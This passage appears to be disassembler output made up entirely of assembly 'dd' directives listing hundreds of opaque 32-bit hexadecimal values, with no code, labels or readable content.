		dd 84EB8028h, 0E9179506h, 0A3F740CBh, 325F57Bh,	0F2C3AD2Bh
		dd 22EB725Ch, 0CF074E70h, 712A187Dh, 4A693BB2h,	74EDC020h
		dd 0D4F9B5FCh, 9F685540h, 0B0B6756Fh, 0EFF5016Ch, 0F7621750h
		dd 0C36330DDh, 0C12624BAh, 0DCAF3DE5h, 0FCC0072h, 6D6819F1h
		dd 9936C9Dh, 6CED6FF8h,	6CC4D875h, 0EB609F04h, 3E997E9Dh
		dd 29C9A7Eh, 50F5C380h,	0F05FFDB4h, 5DDF700Ah, 0AB97E2E3h
		dd 10E0E310h, 592F1629h, 9207A2FCh, 4579991Bh, 27D9246Bh
		dd 0E9B7DADAh, 0E76F176Ah, 27931787h, 332AD3E9h, 0A5BE4ABFh
		dd 0CD89EAE5h, 5F88B574h, 0F751047Eh, 66F9EA14h, 0FE28D49Bh
		dd 0CE0BDD90h, 0F68450Ah, 491F20D4h, 5301E939h,	0BA104097h
		dd 0FAA9503Fh, 0B9B2F15Fh, 3EF1E54Bh, 0AC1B1FBDh, 80C03F57h
		dd 2C25EAF1h, 3AF77ED7h, 0EFCCE909h, 0AA477D04h, 4EF9A685h
		dd 53531F17h, 0C34004BEh, 0B172192Eh, 248E0DA0h, 528D0293h
		dd 264C6F75h, 0AD5E12AAh, 0EADC1A95h, 8820547Eh, 6B282D45h
		dd 528C4C4Eh, 0B15178E1h, 0E45E3368h, 453401E8h, 61DFDB8h
		dd 31DF1AF2h, 5EA95852h, 69EA8180h, 134A2E5Eh, 804BCB5h
		dd 0BB0D81FEh, 0E6C981CEh, 66C2468Eh, 18CD0C82h, 5C755FF5h
		dd 69F601F0h, 3B42763Bh, 750B6402h, 50887677h, 1A4F5CE9h
		dd 2E684C8Ch, 0E1552D52h, 512F5E9h, 4E6F80FAh, 85ED37C8h
		dd 60842FEh, 7132B6F0h,	31FF95FEh, 0A77E5B79h, 7AD5C5E2h
		dd 55CF36F8h, 40766A45h, 67ED2DDFh, 1141F98h, 90705D8h
		dd 0DF04875Bh, 226AC61Ah, 554A3B64h, 840F49C0h,	0A20C4B4Bh
		dd 49F04852h, 0A5532479h, 0D94D2902h, 0D620Ah, 0CE6214D2h
		dd 2E014177h, 3ECB11F4h, 48AC23FCh, 54CF1161h, 634018BEh
		dd 0F42F5D68h, 74D0593h, 0CF4CB879h, 973A2E64h,	91C811EEh
		dd 0E586E917h, 73833059h, 4A67F659h, 810428E0h,	11D27E2Dh
		dd 0FDBE4251h, 0A9571D2Bh, 4C178B4Ah, 85F72D24h, 0AE5034A9h
		dd 6D7E6600h, 24B6257Ch, 52302CCh, 0DFB3DBDEh, 23F09441h
		dd 9AAC5B74h, 9400DF45h, 15B7ACFh, 0ED814D71h, 3E840591h
		dd 2FE9DBE0h, 0DBA0172Eh, 28C615A4h, 229FDAFAh,	0DF503595h
		dd 2A8C5C30h, 0C2BEF3DBh, 57818B0Eh, 68842247h,	7AEC1B7Dh
		dd 23C476D0h, 7BE12A0h,	37D1072Dh, 0DF5BC246h, 373CEA2h
		dd 6127680Ah, 0F57BBF3Eh, 3A96EECh, 50AFE65Fh, 0F5886EBAh
		dd 0C3763349h, 0BFE9EB82h, 0BC9745FAh, 2BB16C4h, 6FE629EBh
		dd 131F2B93h, 0BF02C645h, 0D0075C35h, 0F5B97766h, 0F10EFEF2h
		dd 0A43BB304h, 8CE4CA01h, 2775B4A8h, 7D7D89F7h,	2F0C522Dh
		dd 16025EA5h, 7787E280h, 0CC829873h, 0C2371A77h, 3DE57FE3h
		dd 0FD9E774Bh, 162E601h, 709AE964h, 0A00A373Eh,	0F7367450h
		dd 84E6A4C1h, 0F42EBD47h, 0B40A66EBh, 85C6832Ch, 0D2F873Ch
		dd 92DE3A9Bh, 0B37A78F1h, 173488D3h, 0AAA6575Eh, 85B78D77h
		dd 0A62E3EDDh, 0AA680B06h, 0A0E7C532h, 4BF00BBAh, 0DF7072B7h
		dd 0BA0FD9Ch, 0E9187BB0h, 6897BCC4h, 3B5874B1h,	0BA89525Bh
		dd 1F544171h, 0A048F0Ch, 189920C2h, 6D5AE21Fh, 6DBC1DFh
		dd 0E99BD827h, 5087F198h, 0D230BF5Bh, 58554DA7h, 87F701DFh
		dd 0E9440D42h, 0E77FD248h, 2D5C07BBh, 165A1201h, 7DD08D7h
		dd 244CBF3Ah, 0F504AD27h, 0ADEAFFA1h, 0D791E29Fh, 75F4C8ECh
		dd 40FC174Fh, 37F50093h, 29508A2Eh, 40E5EB78h, 3C78E908h
		dd 5EF2AEA8h, 0D91D4798h, 15E05FBh, 0BCD75A60h,	15BB0652h
		dd 140D16F0h, 0AF49DA35h, 840FA62Eh, 0FED830ACh, 0B252D560h
		dd 0D1881401h, 5602BF5Ah, 279E92Dh, 8041E1DEh, 4CECCCE4h
		dd 0F5199F6Dh, 5AD3C08Fh, 88FEDAE0h, 0C5D5C8B5h, 78763872h
		dd 6E37C0E3h, 0AACB373Bh, 0C481B9F4h, 20CAFBD2h, 0D12C6075h
		dd 0BCFA95E6h, 180F1505h, 25E15631h, 0ADF84943h, 0E99A68BFh
		dd 5E426149h, 0B86538EEh, 0A005370Bh, 62150915h, 0B44D598Ch
		dd 4F8C928Ah, 619DA1C0h, 321EF3Bh, 6E2E86E7h, 38185819h
		dd 296FFE09h, 7C6A687Dh, 9C3EAB36h, 0D614C91Eh,	0D2F569F5h
		dd 30F1BB00h, 0B34E1228h, 7497E4B2h, 0B38C4F60h, 6EEC5F14h
		dd 0F3A92A54h, 0DB01BF7Dh, 355D05C4h, 847F340Bh, 340712EAh
		dd 592A928Bh, 4DF9567Dh, 8BE47DE3h, 58DEC006h, 0E780B529h
		dd 1D6D7C7Bh, 748DADB4h, 8E23A10Dh, 0F7097C27h,	0A8A8E5DDh
		dd 7CD802F8h, 0CF2948BCh, 208E7C09h, 245A680Bh,	5B9E4118h
		dd 1701C105h, 22996831h, 0D8002836h, 0C1655749h, 0F49008EAh
		dd 25F0DD77h, 95CE0CC1h, 0F13ADAFAh, 61B62B1Ah,	0E9C3ED52h
		dd 0C55851CAh, 89DB2D01h, 0E3F25500h, 23D499F4h, 23D24AA5h
		dd 0A297E357h, 3DC5D7E7h, 16A7280Ch, 0F6A0C7C0h, 0E78AA6D2h
		dd 4660BD00h, 0CD812EB9h, 4A0E244Eh, 0EAE501D2h, 711E1250h
		dd 2B108287h, 0C01BEB23h, 5F53B680h, 0AD2E0AEh,	17DEF90Bh
		dd 7648DF29h, 0ACB23F02h, 0BF0637Ah, 1B75B3A0h,	544D422Fh
		dd 53F058F3h, 0E91B7704h, 0E8A8BA5Eh, 0FA2FA7C4h, 0A63B2439h
		dd 0E9AC4BB6h, 0BE8C1B0h, 0C044E92Dh, 131ABE8Fh, 0AF26F016h
		dd 3939AEF4h, 4FD9802Fh, 960B701h, 21F7017Ch, 2F846578h
		dd 8A356FB0h, 9A3C3E54h, 0D44055ECh, 1B6202B7h,	0F1554D18h
		dd 41E909C8h, 56484278h, 342A4FA2h, 0FB215E09h,	51820671h
		dd 0DD26D6E9h, 11CA4F1Bh, 0B107CE74h, 0B284803Ah, 56A11FBAh
		dd 81A24BB3h, 1FAE6B75h, 5632650Ch, 7831C076h, 775C6B43h
		dd 2A3905E8h, 0CEAB0A21h, 56BC5FF9h, 0FF1F1519h, 0FFA3AF5h
		dd 9184C778h, 0D639908Eh, 0FEA1F287h, 2C5A28E7h, 0DD2588DAh
		dd 0E9D5D40Ch, 0F274392Ch, 0DD6857C2h, 895F1570h, 2E0F2DFBh
		dd 0FA94F537h, 4AEA40C1h, 0A6C1AB05h, 5A7047E1h, 0AE66D68Bh
		dd 2DE9D828h, 95CC29EDh, 2F559B81h, 626A98CDh, 50D07FCFh
		dd 7A33FEB5h, 0F16B02DFh, 56D10B96h, 0FB555C42h, 0F38208C2h
		dd 0C218F427h, 0BEDF921Bh, 7D769D5Bh, 0B7AB42C4h, 0C73D7B66h
		dd 65B9FC90h, 50F57A2Fh, 0EACCB45Ah, 5F7D276Ah,	13040B72h
		dd 29CB8F6Eh, 41C7A9BFh
		dd 32E1048Ah, 9F5E795Dh, 0B6DA3E27h, 12E99D95h,	9CA2EFDEh
		dd 1DB44B79h, 28370361h, 0D09A58E2h, 43DCEE62h,	6617CE81h
		dd 92207183h, 7CE50540h, 0AC9AE9DBh, 68AF4EB9h,	0D8502806h
		dd 0FBBF6CC7h, 120A1135h, 0E13471B4h, 2AAFD1BAh, 0D37D38DCh
		dd 63DD1901h, 0E9305D8Dh, 0A474BD02h, 2DCE1808h, 0F16B00FDh
		dd 5E832C1Ah, 0EE39D066h, 3D5F1FB1h, 5F326BB0h,	125DF2C5h
		dd 7DBAC4A4h, 0C8C53033h, 1798482h, 295FF920h, 6B568195h
		dd 0A12DFEE4h, 0EF3E24Eh, 13103868h, 8BD9F3EBh,	10B5E75Ch
		dd 7633482Ch, 4BBD275Bh, 5E119085h, 16190E13h, 5ACAFE17h
		dd 448110h, 6B631C51h, 0D2E560E9h, 42792AA8h, 10E9090Dh
		dd 445DA07h, 9C62BCEAh,	7C24C011h, 774C4752h, 4561482Ch
		dd 0CB0A7A08h, 5B1317C2h, 0A1AB9BD4h, 0A5D86862h, 24E9D638h
		dd 0B07DFBFFh, 4D76B3F0h, 90275FB8h, 9825C41Ch,	15F350B5h
		dd 0C00A1FEEh, 0B0DD27C6h, 4AFDE923h, 0C08FB82Fh, 0D967F5BBh
		dd 0BBC986Fh, 0E83104Dh, 0B4613D62h, 0DBA3CB87h, 7160864h
		dd 28E3E280h, 9C20B43h,	0BD65DEBh, 0D0019F02h, 0EF62C047h
		dd 1E9916DEh, 1F20AEC8h, 9D0AC1E9h, 0F0556DA9h,	2BF5F704h
		dd 51419A25h, 0FF048DAFh, 1934E481h, 895B0EA7h,	0F401E962h
		dd 5551697h, 0FA3C7A81h, 2F7CB308h, 31270E58h, 69A17CC7h
		dd 28BAE8DFh, 5A6603F3h, 0F65BDD08h, 6FE58098h,	26C5FE32h
		dd 8ABF008Eh, 6A27AF78h, 0ED8F8A01h, 27386B08h,	379F3802h
		dd 422DFE61h, 0D3F95E07h, 4E3B77A4h, 0E2BB1D64h, 0BBDD768h
		dd 0A1EBA213h, 20643007h, 0F65AD302h, 574A68DBh, 8AC833C6h
		dd 0D01738C1h, 3AD7F45Ah, 0AE3B7E45h, 3914FD39h, 0E928D8BAh
		dd 3253266Ch, 652E1ED1h, 60DCC941h, 74131AF7h, 2700ACB4h
		dd 0BC74B289h, 6F8B7D69h, 0EFAD4A60h, 68418796h, 0DD230537h
		dd 41C2573Ch, 5CBC2AAFh, 85E695DAh, 0F30B4790h,	0DF3DA25Ch
		dd 8A1FB9A2h, 0E959D45Fh, 5725C7E4h, 2D0B5E54h,	0E973FB5Ch
		dd 0E62149C0h, 694CE02Eh, 7FB8055Fh, 7C7D3405h,	0F2B0AF3Eh
		dd 9D5C045Bh, 0A177E931h, 44802ABDh, 27B69BF9h,	4D009D7h
		dd 0F56A3D2Fh, 3606BEAFh, 0C2057D0Dh, 0F4188617h, 461029FCh
		dd 0E1EC4E56h, 0A6E33114h, 30EF45h, 155A280h, 16BD68F0h
		dd 0C5B75D57h, 409504DBh, 29503AE5h, 4B68175Ch,	0BC41FE71h
		dd 36C95332h, 12FDFC7Ah, 854168E9h, 88C0FE59h, 962B63Eh
		dd 0FC793AE9h, 6E6842F9h, 0FC75A5F5h, 645D61A1h, 510F303Bh
		dd 53138268h, 8A000EB0h, 3C6B2EF1h, 7EE92C77h, 24F4ADBEh
		dd 8B057F0Eh, 0DF5E074Fh, 3FCA7499h, 8D0C9DFEh,	0BD3FC212h
		dd 0CA011942h, 0E305EA10h, 6F174E09h, 4AEC70F0h, 0C769BC15h
		dd 2F6097Bh, 63940C0Ch,	44547D27h, 42559517h, 0CF12AAA9h
		dd 0D35CF805h, 79BC2124h, 0E892D1B4h, 0C5339C4Bh, 65A94205h
		dd 12AC18BBh, 6B2655A0h, 0F2A597C3h, 4ED09ABh, 5228DE62h
		dd 0B8D08EAh, 0E06FE91Eh, 1646B8DBh, 0A048F42Ah, 0E459F21Ah
		dd 185C05ADh, 0AA00204Eh, 0C872B7C9h, 70F9B064h, 16DD301Dh
		dd 0F17ADE0Ch, 4FB54D4Fh, 9602517Fh, 920F8A4Bh,	0E9339CEAh
		dd 4B62804Dh, 0FBB7D4AFh, 126016F0h, 0B2E663Ch,	30703C8h
		dd 94D50B01h, 0E6882494h, 0FA03386Fh, 80EA285Bh, 0CCE91293h
		dd 1ABC6A10h, 2A5ADD8Fh, 137A8640h, 4AA71495h, 0AC3D8CB9h
		dd 6151B09h, 6402554Dh,	4951AD4Ch, 4B4D442h, 0C3C7F028h
		dd 65588072h, 31403038h, 2D6AADEBh, 0AF24407h, 29580880h
		dd 11E812D7h, 0C7EB71Ah, 35B55657h, 0CF54AE0Ch,	4EF4177Eh
		dd 0BD0929A3h, 0E829120h, 0E5D74F06h, 89522566h, 1FD16231h
		dd 0CA444DC4h, 0EB04EDF9h, 0EEF865AEh, 1FFBE617h, 0E7CA01BBh
		dd 3133250Bh, 1230783Bh, 7741E2C1h, 3D16CE8h, 4207128Ah
		dd 3C111DD7h, 0C73D764Ch, 370A768Eh, 4756CFC1h,	0EF83704Dh
		dd 70194F09h, 0E9C90144h, 0CF4C12C2h, 0F30F4F68h, 0AEE90960h
		dd 12E0E98Fh, 0A56251FAh, 8385A35Dh, 939E58DDh,	2DD5D069h
		dd 0A53A9461h, 6C853A6Dh, 39C0A290h, 250190A4h,	17FE3A77h
		dd 446D6660h, 0D859E5Dh, 61F9A4E9h, 74A93E79h, 2A25E9E0h
		dd 57947F97h, 0C0EB42B5h, 28629826h, 9B00274h, 0AE7E1AE5h
		dd 1CF5AC03h, 89E924EBh, 5680A7E9h, 9C92BB4Bh, 188CFE05h
		dd 3877584Ah, 3CAA83A4h, 5EC51706h, 24A67846h, 2941DEDh
		dd 71126827h, 6B091D4Ch, 7D36207Dh, 0DF98D450h,	3C7FB624h
		dd 5835E909h, 9D315843h, 7238FFD3h, 85B94FE9h, 402B83BBh
		dd 74E0C4C1h, 541E2163h, 578C2DC7h, 3FEAA122h, 7C3D1BC1h
		dd 0AFA873A4h, 0F369DADEh, 0D01E0846h, 0F8885007h, 5358C521h
		dd 0DAE0EBD9h, 7E6CB75Bh, 68C85627h, 2C6805DEh,	0C0C861A5h
		dd 73EE2962h, 35AA698h,	5002C3FDh, 4A2E22B8h, 0E0B023FCh
		dd 9119F8Dh, 160CE95Fh,	316035DEh, 4B0A68C3h, 0EF463439h
		dd 0A5156EF2h, 0B84C4420h, 99115003h, 53884A56h, 164D2FE9h
		dd 2E6F0FBDh, 526A997Dh, 0E84EBA28h, 650B1225h,	4DD0294Eh
		dd 1D3808C2h, 0C6FD51A2h, 8D8E2048h, 1DE9584Fh,	0BACEEE96h
		dd 0A4C04927h, 8F042CACh, 0D106852h, 367431AAh,	6C267FE2h
		dd 2B0251CCh, 342F1921h, 8BF4BA2Eh, 0CADB6EB8h,	520BB3ACh
		dd 5C7A14F6h, 0FB90DC4h, 0CCEDECABh, 0B5592B9Eh, 5C16F997h
		dd 78C97305h, 0BFF6C436h, 0DE25766Bh, 0C8C7D1A9h, 5E2801FAh
		dd 2B216294h, 0E90B66CBh, 98551E8Ch, 4E31686Ch,	67173103h
		dd 0C52A6E39h, 0C5920348h, 0E053B914h, 0AC0532E9h, 978E900Eh
		dd 62346949h, 0E95E82ACh, 59836994h, 82C1A842h,	55B217BDh
		dd 140EA0A3h, 0DAEBD713h, 4F96AF8Ch, 7B9AA755h,	1384435Ah
		dd 85C33981h, 7A118C2Fh, 0A672106h, 9FA10105h, 2D0591D8h
		dd 341537CEh, 584CCDBCh, 0AE014A00h, 2CDFE966h,	0AB85FC9Ch
		dd 20ACE64Ch, 8340E005h, 47B8800Ah, 502E650Ch, 29046D31h
		dd 0E9AC5BDFh, 0FDED8317h, 139BA68Eh, 200C41E9h, 0CED59783h
		dd 9D27BD7Bh, 0C2B9FE4Ah, 0EB65F701h, 6D0DE986h, 37EB0141h
		dd 29342C0Ah, 521720FBh, 0C14A4725h, 137E828Bh,	0CAA1EBB4h
		dd 0CF66FC3Ah, 0F0FF9268h, 4FB73415h, 7EFEAD81h, 0D4FCE962h
		dd 1C4D2DFBh, 0F7EB5812h, 0D758C95Ah, 0C1423F73h, 51EEA7CDh
		dd 5701AD72h, 0F3F0947h, 0FDFEFC87h, 79E83B31h,	41D72102h
		dd 27F44B19h, 0C5312CCDh, 0AF671698h, 0FCB51176h, 0C0997F5h
		dd 8978EFFFh, 91E093E9h, 13BD285Ch, 17E2E19Ah, 21CB2901h
		dd 5B87AB6h, 8F8A024Dh,	70341EE4h, 3A16F55Fh, 70281D24h
		dd 9E5AFE2h, 84D34D7Dh,	88AA4DE9h, 4E13D409h, 18E91D30h
		dd 0F36B0841h, 5E5C8534h, 7EB328BEh, 9F5AB240h,	72A9057h
		dd 0F4ED4B68h, 65B71C85h, 9163429Bh, 3403FF0Bh,	0D6F35AEDh
		dd 7D2C1BA8h, 3E7BE912h, 3F144FBDh, 0BD3E0670h,	66D3F6C0h
		dd 0D82800FCh, 7F6818F2h, 33975F18h, 27E26C95h,	0DF202D95h
		dd 559ED6C4h, 0B59F4BFh, 529AB116h, 0DE529ADDh,	29DF49B0h
		dd 5EA744B9h, 66A304BBh, 5938C25Ah, 0F9D25007h,	78D97752h
		dd 0F10B549Bh, 0D46E11E6h, 0B5C1EE91h, 0D03EBE27h, 0AA7F1738h
		dd 0E4F13EFBh, 3B11CD3Eh, 0C1268609h, 63B64AFh,	4F090733h
		dd 76ACC995h, 8277E9A5h, 3A01C22h, 0E290FC88h, 80045B58h
		dd 0CAFEF8EAh, 6472CDABh, 0B12FE931h, 4B51513Ah, 5F271147h
		dd 0CEDDFF2Bh, 28AC8263h
		dd 6F08DCCDh, 54530B5Bh, 0AB83C7F7h, 0FC409512h, 0E2814200h
		dd 129A3C25h, 43DA871Fh, 3FFDB7C8h, 52E8CE03h, 0F6B01605h
		dd 3B164F13h, 0BF98942h, 0E598A24Bh, 141DE502h,	245DE61h
		dd 1C3CDB21h, 7B35F6C1h, 0A4B84CC5h, 531592BDh,	70670705h
		dd 680B31B3h, 365E3F85h, 615C55F2h, 307405E9h, 0F62006CDh
		dd 0C3DB9529h, 0AC10C0A4h, 0AF4C695Eh, 75A53257h, 14B8CF9h
		dd 0F45C5595h, 40C02420h, 15040593h, 89BC7944h,	517EEAF0h
		dd 0C21C4F7h, 73E5D3C1h, 53F32DE3h, 0E984224Dh,	0F6FBEAF7h
		dd 0BC2D0198h, 127BD05h, 704C361h, 89FBA2BFh, 75D955C0h
		dd 0C0EB52E5h, 10C82E6h, 0F4CB205Fh, 24B8D610h,	3F023D5Dh
		dd 4040A36Ch, 4852B229h, 5925F49Bh, 0E7802001h,	0B6A06F57h
		dd 0C1E0F9EFh, 0F9283E16h, 0D85BEAF7h, 18F12808h, 263E06CDh
		dd 53887424h, 1F9FB2C3h, 0B484A7DAh, 3213AEFCh,	0C2BBF2AEh
		dd 5FFED66Fh, 571F92D3h, 0E464214Bh, 60DAF07Bh,	91BF1089h
		dd 7B4CBC29h, 942F204Ah, 0DD2F3C80h, 5DA7B0FCh,	745D95B2h
		dd 0F56EF0D2h, 0D8F688C7h, 8C0C6A90h, 3E03FC0h,	4437292Ch
		dd 66F0EFC7h, 0FC969559h, 456ADCB7h, 6817A0E3h,	0CD0ADC2Ah
		dd 7517C35Fh, 0D9AEAF56h, 58C22F81h, 0A36EDF5Ch, 380BCFB0h
		dd 554A4D72h, 6E7DC192h, 5D118145h, 909BF23Fh, 0E0ED2812h
		dd 0FAF73C4Eh, 0FE5D0C40h, 0CD304AEBh, 0D1B87F4Fh, 3535F94Ah
		dd 0DF0B4D29h, 5312FEBBh, 38E88EE1h, 2A9A49D2h,	6590D49Ch
		dd 217B5405h, 57C42910h, 98A6C4EAh, 1B4FE801h, 60C4F7ACh
		dd 375E0FA1h, 0D39CD8A3h, 20CBFEE1h, 0E3F3E90Ch, 0CF0FBD3Eh
		dd 443B9654h, 0B2D0E065h, 5853FBCAh, 0EA004B66h, 20F968CCh
		dd 0DEBFD189h, 1FC6B6Ch, 602FE909h, 90DE2986h, 16C29859h
		dd 0A125D136h, 74DFDD7Dh, 0D52E68A9h, 0FAC2DB3Ch, 0C162C8F9h
		dd 0FE2D5A58h, 48BB9913h, 5A133447h, 0BEF45CF8h, 0A1A952Ah
		dd 0F475452Bh, 7B604E76h, 4B012A6Bh, 16FE0EC1h,	0B12B0432h
		dd 0C9D42A79h, 0E76CAD80h, 0F1BB5A0Fh, 2F9743E4h, 0D400CB2h
		dd 0D9C5C213h, 55EC6CE1h, 0E30916C4h, 0B4B9104Dh, 0B6FD5925h
		dd 8935B455h, 0EE9EBA23h, 82B223D7h, 0E71FE982h, 92EA0A5Ch
		dd 0A43D8E03h, 767A026Dh, 29925BC2h, 53A00359h,	0B5DE8320h
		dd 9FEC378Bh, 0C346CB35h, 7034C6A9h, 70A2C765h,	6E297584h
		dd 6F7B6819h, 20F66493h, 0D7EC7AC6h, 0D0A0895Eh, 1C472D09h
		dd 2CF53C44h, 0EF2104DCh, 0B1AA4F5Dh, 0FDB0204Ah, 4A292D48h
		dd 0F43D6C3h, 0D59128E0h, 5BDD3142h, 7C4FDCC0h,	62EFD09Eh
		dd 0F7FED3CAh, 854F704Eh, 0AD2C22C1h, 2F71D9DDh, 0FE92D83Ch
		dd 4AAC7CC3h, 6FE2293Dh, 9735FFF7h, 6857E02Bh, 81291100h
		dd 714038F2h, 90E9171Fh, 0B38A41B0h, 0F7CB80EDh, 0C022E398h
		dd 0F3F208E6h, 0E5E96C1Bh, 0D55B8A7Eh, 0CC1D146h, 4A78ACD6h
		dd 0B0D87920h, 0BF205568h, 85CE343Fh, 0DD53F1A7h, 22BB6083h
		dd 0F1C528A0h, 2C9A081Dh, 44A1ED8Eh, 44C2E7E9h,	5135000Fh
		dd 58BFB170h, 43C30BD3h, 470B3DD0h, 0E713F872h,	0E20E7129h
		dd 4F7E047h, 2658285h, 145CBB53h, 56551E97h, 5712045Eh
		dd 0F8E58169h, 5A074705h, 15602614h, 0C20ECEEAh, 4E654BE2h
		dd 68DB101h, 510A1C08h,	744AD947h, 0A7868549h, 57F61AF1h
		dd 35BDCAC9h, 2692D062h, 5564AD3Dh, 69F4EACDh, 0A6011471h
		dd 0F280002Fh, 0D7881CB1h, 4BFE1F5Ah, 0AADC0996h, 0DF894062h
		dd 3492F44Eh, 3C657720h, 80B9EEC0h, 0F001E3B8h,	5052665Ah
		dd 0ECD0D8B4h, 8ED4F63Fh, 64FE3FCCh, 0A2C1E4C0h, 0D45572F2h
		dd 49E009AAh, 0CE9F5EF4h, 0F7F154D2h, 0D6B2A22Eh, 8B8EA5ADh
		dd 0B500BDF3h, 3DEAF4EEh, 0BA8DD250h, 0E4251EE6h, 1DC45067h
		dd 96C102B8h, 0B616EF4Ch, 0E85FADA8h, 0CBB03D68h, 0D7CC7D45h
		dd 7AC5DF40h, 0B0720A27h, 4DC80988h, 0DF56B1CDh, 0F309A0ACh
		dd 219B750Ch, 6E8EB4C9h, 996FAB3h, 5D5C433Ch, 0C57FF28Eh
		dd 13BF39ECh, 0A491B82Ah, 0A906A8AEh, 49A2B092h, 50018973h
		dd 7F58C629h, 0AEA40AECh, 0AA0E39F4h, 0E7D060C2h, 0AE534A6Fh
		dd 0C029C282h, 9F787C13h, 89E91556h, 86965713h,	0BDA8E919h
		dd 2A715630h, 0BF676D35h, 0FFDF5882h, 595BFC77h, 59E44829h
		dd 52ED141h, 0B46B2B34h, 0E3FA07E7h, 6A057C90h,	2DDB3B3Ch
		dd 568E0EEh, 407CC309h,	4DE7701Eh, 5427362Eh, 6816E4CCh
		dd 6D3419A5h, 935BFDAAh, 28B19615h, 64EF530h, 0FAB88880h
		dd 0F463485Eh, 1380672Dh, 0AB11C30Dh, 360F3E78h, 0E453BE10h
		dd 8CEA943Bh, 670B729h,	45BCD595h, 0A353E919h, 0FF30AC38h
		dd 0C7C29D8Dh, 44B9E7D7h, 0B2B31214h, 0A1F2B94Fh, 1606BB2Eh
		dd 909EFABDh, 0AAF9BD53h, 0B6A95F3Eh, 5F685D0Eh, 1DAE3BD8h
		dd 546444A0h, 7691174Ch, 4A08A4D0h, 4143B4C2h, 0F57A7160h
		dd 8008042Dh, 1CB6CDDDh, 52D2BF7Ah, 0D601C746h,	59F7409Ah
		dd 58C38904h, 8DF48268h, 706D4E48h, 236568D8h, 0A7321C6h
		dd 20CFBA3Dh, 585A5C22h, 510E72B9h, 88FF3404h, 0C025B79Dh
		dd 804DBC25h, 48BCE688h, 61C2C253h, 0E9D02C7Eh,	54844EBAh
		dd 0B4973B5Fh, 17414A90h, 0F1488803h, 6E974DE3h, 89AD4573h
		dd 4E22E73Ch, 1EB5E417h, 5732A680h, 55808DEh, 2D0206A3h
		dd 0DC685059h, 0F9967D70h, 526C120h, 951ED5BBh,	0EF5F85EFh
		dd 4003BD2Ch, 7B0BB96Eh, 62277F41h, 0BFDC5786h,	0CB09760Ah
		dd 0F45BD989h, 50410688h, 3273F656h, 0EC731728h, 6D4B4A09h
		dd 705A788Dh, 0C112BF10h, 0AFCB7F84h, 4F785145h, 0B0C04AB8h
		dd 0E919025Ch, 75B05A4Ah, 81315A58h, 567134h, 9F401E68h
		dd 99F1AD9Bh, 6BF36F10h, 0A4C51C12h, 301ECB70h,	4EC844A6h
		dd 0AA0512CEh, 6A3086E1h, 23BD8042h, 4538F0E3h,	78CCC4C2h
		dd 0B846E020h, 0D85F325Bh, 39F8972Eh, 2D2EB12Eh, 283C8B19h
		dd 9280B120h, 5AB3F842h, 7C73543Ch, 0D72A6804h,	3317AE3Dh
		dd 26677C6h, 0A1DCB5F5h, 16428904h, 0BD306EDDh,	2D714AD6h
		dd 5A12B46Fh, 0C0BFE29Fh, 0B3112CBh, 0D2F764A5h, 181A5C74h
		dd 0B4095D13h, 50E9315Eh, 743701B3h, 6DE96EB0h,	0E8F053D9h
		dd 295745B9h, 75C9DECFh, 22E4F747h, 1C572117h, 7E32F08h
		dd 751FCBBBh, 0C9F0AE15h, 37A7ED0h, 1EB831Eh, 431CD1E9h
		dd 0C080B050h, 6E0C04E0h, 2C851D34h, 30C10E95h,	0CB285840h
		dd 24F526E9h, 0E29DC293h, 0C3913889h, 0A96C124Ch, 0E430120h
		dd 7E41BE56h, 0C0411AF2h, 0E5043272h, 81711D65h, 2FA57D31h
		dd 0EEEC7DDDh, 3DE89725h, 0E0243317h, 7E2D08F0h, 9A4842ABh
		dd 284BDE0Bh, 0EF2CD287h, 8F5CF585h, 2F00F265h,	0DA12F511h
		dd 0DADB9909h, 0D2085112h, 0EAB309BCh, 0BD0BEA76h, 479AD5F6h
		dd 0FDF8A9FFh, 45BF274Eh, 0A7F9882Eh, 0E4DEF60Eh, 0ACB86F42h
		dd 0C75F6889h, 9538A8B5h, 0CBC8B8CAh, 5881DF3Bh, 0E8AAA444h
		dd 543750E5h, 436C2B01h, 1EEFE942h, 5547F36Bh, 0C9DDF04Ah
		dd 0FB0F94B7h, 38BB1864h, 6A285C47h, 6E3B0BE3h,	56BAEh
		dd 1B83C7A1h, 968A967Dh, 0F0F5C408h, 9BA0511Ah,	0E183668Ch
		dd 0BB45CD40h, 419737A4h, 0F9269417h, 5FF882E0h, 7A58D505h
		dd 39102D1Dh, 0DD1F34D3h, 0D1800728h, 8181416Fh, 30187B30h
		dd 440C626Ah, 2E5A822Fh, 0F2010A81h, 0BC480660h, 92F0EB39h
		dd 0E105A3B0h, 296D0970h, 92EBA2FAh, 6E8CE13h, 6B2E0900h
		dd 0B951430Ch, 9D27800Ch
		dd 187E7420h, 0C37694Dh, 0BE3E55C5h, 39C9037Fh,	0DA484C44h
		dd 7ECC55E6h, 0DF40CD04h, 0D1AA093Ch, 0C1BD07E1h, 97187BC1h
		dd 25660370h, 0F50DD2h,	2D7F2C5Ah, 80279E4Ch, 0F16FFBF3h
		dd 0A04EE907h, 0C1EF5F84h, 0F5606904h, 9C7A9233h, 0D1BE4FC0h
		dd 0F4957E44h, 17C39462h, 0A030FC8Bh, 0FBE95AD1h, 0BE053792h
		dd 92835DE1h, 0D082291h, 0B56A8CD8h, 2D8F42F7h,	62960789h
		dd 0D4D02927h, 275FC095h, 503B4344h, 4E135AE9h,	18337E2h
		dd 32D2E9CDh, 271230C8h, 0FCC26697h, 40949417h,	68134C50h
		dd 0F606AF6h, 2246E117h, 27667B62h, 1BFF6F7Bh, 0BF08021Dh
		dd 6CC5477Fh, 4909A960h, 0E9719704h, 0E7ACF368h, 0CF313598h
		dd 8C5F9E4h, 802D1F7h, 5F495CE9h, 0B62D9F4Ch, 4F371947h
		dd 9B83146Bh, 0F527C203h, 8AE11E2Eh, 4E5E010Eh,	91F443DCh
		dd 0E966A790h, 31315348h, 0C2216614h, 44ACB870h, 1E4FB24Fh
		dd 0FA2C10E3h, 4D725B1h, 0D8BE5F33h, 4F4021B5h,	99E59F09h
		dd 0C02729A4h, 25E99731h, 9B721A08h, 0BFE28320h, 527217E0h
		dd 0A0165B22h, 0B2F454Eh, 0DE949CEh, 6B6E32C2h,	0EAC7439Dh
		dd 8598DD43h, 0B9807A73h, 97670053h, 3F18163h, 44342529h
		dd 0C80B84C1h, 0A1D790C8h, 0C28B032Eh, 52D98951h, 7212224Eh
		dd 72F5E2E8h, 0B265CE2Bh, 0F59D55A0h, 0EF8DB18h, 99F656AAh
		dd 9546CE93h, 7A48D366h, 9CCAEA9Ch, 6FE6014Ah, 2035D554h
		dd 6B16914Bh, 83022542h, 40A163D3h, 1D8EEDDBh, 8247E11Ah
